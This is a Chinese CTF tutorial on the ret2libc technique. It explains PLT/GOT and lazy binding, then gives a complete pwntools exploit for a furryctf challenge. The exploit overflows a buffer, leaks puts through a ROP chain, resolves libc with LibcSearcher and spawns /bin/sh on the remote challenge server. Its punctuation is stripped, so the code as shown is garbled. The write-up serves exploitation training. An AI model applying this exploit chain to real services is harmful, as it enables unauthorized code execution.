基础ret2libc
在程序中没有system或binsh的时候或者二者都没有通过覆盖返回地址来利用动态链接库中的system()函数这里粗略的分为两种一种是题目给了libc文件一种是没给其实我感觉ret2libc某种意义上算通解简单题懒得动脑可以无脑libc先简单讲一下基本知识PLT表存放跳转代码一段小代码负责通过 GOT 跳转到实际函数GOT表存放的是实际地址延迟绑定只有动态库函数在被调用时才会地址解析和重定位工作这样会让启动快一点打个比方比如我要引用一篇文章如果我把文章链接放在开头就叫直接绑定而放在我需要他的地方就是延迟绑定根据函数地址找libc版本一是去在线网站上输入低12位网站就会给你列出可能的libc版本这种可能不全至少我用的那个不全二是用LibcSearcher使用方法from LibcSearcher import * libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh)例题ok了来直接看题吧题目链接https://www.furryctf.com/games/2/challenges#nosystem平台可能需要注册一下这题的官方解法是ret2syscallhttps://fcnfx4l45efr.feishu.cn/wiki/JHJowCDz9iwEGwkTp3Hc9C8Hnif但是我觉得拿来当例题非常合适啊而且当时也是这么写的qwq先简单看一下没有能用的system和binsh逻辑就是一个简单的溢出passcheck和work在这种做法没用那这种情况下我们就要打印出puts或者别的什么函数的实际地址去找到libc版本算出他的基地址进而找到system和binsh那第一段代码就是这样puts_plt elf.plt[puts] puts_got elf.got[puts] start elf.symbols[_start]#因为程序只允许我们输入一次所以需要返回到start让程序重新启动为下次发送payload做好准备 payload1 bA * offset payload1 p64(pop_rdi) payload1 p64(puts_got) payload1 p64(puts_plt) payload1 p64(start) p.sendlineafter(so?, payload1)那此时我们调用了puts函数打印出了真实地址下一步就是接收leak_data p.recvline().strip() puts_addr u64(leak_data.ljust(8, b\x00)) print(f泄露的 puts 地址: {hex(puts_addr)}) libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh)注意此处的libc.dump如果我们有libc文件就是libcELF(your_libc_addr) system libc_base libc.symbols[system] binsh libc_base next(libc.search(b/bin/sh))#python3 binsh libc_base libc.search(/bin/sh).next()#python2现在就ok了直接打吧payload bA * offset payload p64(ret)#64位强制16位对齐需要加个ret也可以用pop_rdi1) payload p64(pop_rdi) payload p64(bin_sh_addr) payload p64(system_addr) p.sendlineafter(bso?, payload)完整代码在这里from pwn import * from LibcSearcher import * context.arch amd64 p remote(challenge.furryctf.com, 32820) elf ELF(rD:\VM_disk\shared_files\nosystem) offset 0x40 8 pop_rdi 0x0000000000401353 ret 0x000000000040101a puts_plt elf.plt[puts] puts_got elf.got[puts] start elf.symbols[_start] payload1 bA * offset payload1 p64(pop_rdi) payload1 p64(puts_got) payload1 p64(puts_plt) payload1 p64(start) p.sendlineafter(so?, payload1) leak_data p.recvline().strip() puts_addr u64(leak_data.ljust(8, b\x00)) print(f泄露的 puts 地址: {hex(puts_addr)}) libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh) payload bA * offset payload p64(ret) payload p64(pop_rdi) payload p64(bin_sh_addr) payload p64(system_addr) p.sendlineafter(bso?, payload) p.interactive()libc版本libc6_2.31-0ubuntu9.10_amd64